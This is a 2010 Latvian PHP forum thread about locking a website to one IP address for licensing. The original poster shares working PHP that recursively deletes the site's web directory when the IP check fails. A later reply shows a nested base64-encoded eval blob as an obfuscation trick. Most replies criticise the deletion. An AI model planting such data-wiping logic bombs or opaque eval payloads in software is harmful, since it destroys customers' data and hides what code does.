snach15 Posted December 3, 2010 Report Share Posted December 3, 2010 (edited) vēršos pie jums jo interesē viena lietiņa .. ko man vajadzetu iekodēt webā lai izveidot tādu lietu kad websaitu atļauj lietot tikai no noteiktas ip adreses .. piemērm 127.0.0.1 bet ja mēgina uz webserveri uzlikt piemēram no 80.233.233.233 tad uzrāda erroru vai kautko tamlīdzīgu .. viena lieta būtu to uzrakstīt ar ifu un salīdzināt piemēram šādi bet tur atkal ir tāds joks kad jebkurš var šo lietu editēt jeb vispār nodzēst. .. aizkodēt ar zend ? zendu arī var viegli atkodēt ... kāds būtu tas risinājums šajā gadījumā? $allowed = "127.0.0.1"; if ($_SERVER["SERVER_ADDR"] == $allowed ) { include("themes/default/header.php");} papildus vēl uztādīju piemēram kad pēc mēginājuma atvērt webu un ja ip nesakrīt tad uzreiz izdzēš visu direktoriju ... bet ar to vienalga nepietiek .. $allowed = "127.0.0.1"; if ($_SERVER["SERVER_ADDR"] == $allowed ) { include("themes/default/header.php"); } else { echo "Tava licenze ir nederiga"; define('PATH', '/www/htdocs'); function destroy($dir) { $mydir = opendir($dir); while(false !== ($file = readdir($mydir))) { if($file != "." && $file != "..") { chmod($dir.$file, 0777); if(is_dir($dir.$file)) { chdir('.'); destroy($dir.$file.'/'); rmdir($dir.$file) or DIE("couldn't delete $dir$file<br />"); } else unlink($dir.$file) or DIE("couldn't delete $dir$file<br />"); } } closedir($mydir); } destroy(PATH); } Edited December 3, 2010 by snach15 Quote Link to comment Share on other sites More sharing options...
marrtins Posted December 3, 2010 Report Share Posted December 3, 2010 Kā var viegli atkodēt ar Zend nokodētus PHP? Quote Link to comment Share on other sites More sharing options...
Aleksejs Posted December 3, 2010 Report Share Posted December 3, 2010 papildus vēl uztādīju piemēram kad pēc mēginājuma atvērt webu un ja ip nesakrīt tad uzreiz izdzēš visu direktoriju ... bet ar to vienalga nepietiek .. Nav bail, ka atradīs un fiziski ietekmēs? Quote Link to comment Share on other sites More sharing options...
Kaklz Posted December 3, 2010 Report Share Posted December 3, 2010 Ja tu ievies kaut ko tādu, kas pie noteiktiem nosacījumiem dzēš visu direktoriju, tad vari laicīgi sākt apgūt citu profesiju. Tavus pakalpojumus nevienam nevajadzēs. Quote Link to comment Share on other sites More sharing options...
labaiss Posted December 3, 2010 Report Share Posted December 3, 2010 ideja no vienas puses nav slikta, ja to preizajā vietā izmanto. bet varbūt gluži nevajdzētu dzēst :D - tas tā pārdomām. Tas varētu noderēt, ja tu izstrādā super web aplikāciju, kuru var integrēt lapā un pārdod. Tad licenzi piesaisti IP un ja ļaunais lietotājs to nodot trešajai personai, tad tas tiek paziņots & bloķēts. Bet cik tas ir reāli un nepieciešami..... Quote Link to comment Share on other sites More sharing options...
Kaklz Posted December 3, 2010 Report Share Posted December 3, 2010 Pa lielam viss web aplikāciju lauciņā pēdējā laikā dodas SAS (Software As Service) virzienā. Tas nozīmē, ka tu programmē un hostē, klienti tev maksā ikmēneša maksu. Manuprāt ļoti jēdzīgs variants, kā darboties, jo tev nav jādomā, kā pēc tam atjaunot programmatūru uz 100 klientu serveriem pēc kādas kritiskas kļūdas salabošanas. Tas uzreiz arī automātiski nozīmē, ka tev nav nevienam jādod savs izejas kods. Quote Link to comment Share on other sites More sharing options...
snach15 Posted December 3, 2010 Author Report Share Posted December 3, 2010 nu paldies par šo kritiku bet vairāk gan man interesē tieši kā to panākt ... labi pa dzēšanu es bišk neaizdomājos un īstenībā tam nemaz nebūtu nekāda jēga jo reali webs var būt palicis uz dekstopa kautvai rar formātā ... vārdu sakot negribu lai saits tieši nonāk 3 personas rokās ... Quote Link to comment Share on other sites More sharing options...
Aleksejs Posted December 3, 2010 Report Share Posted December 3, 2010 You have to spend money to make money: http://www.ioncube.com/sa_encoder.php http://www.phpshield.com/ http://www.sourceguardian.com/protect_php_scripts.html Neiesaku nevienu no variantiem. Gudrie tāpat atradīs veidu kā apiet - pret muļķiem varētu palīdzēt vairākkārtēja koda aizkodēšana: <? eval(base64decode(base64decode(base64decode(base64decode('VTJ0b1Rsb3hRbFJSVjNSWlRWVTFSMVpYZUdGU2JGWnpZekkxYWxJd1dqVlhWbU40WWtkU1NWTnVj RXROVkVFelVrWkdkMk5HY0hCYQ0KTW5ScVpWVkZOVlZHVVhkYU1HOTZXa1JPYXcwS1pWUldNRmRX WXpGbGJIQklUMWhTWVZaNlZqWlVSekUwVFdjd1MxTnViSE5PTUZKUw0KWWpOYVRVMHhjSGRaZWs1 T1dqSktTRkp0YkdoVlZFSk1XbXhGZDFNeGNGaGxTSEJoVlRCSk13MEtVa1pHZG1ScmQzcFhia0px VFRBeA0KYmxsNlNqUmpSMFY2Vlc1Q1JWVllRVFU9'))))); ?> kur kodā iestrādāta pārbaude pret adresi... Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.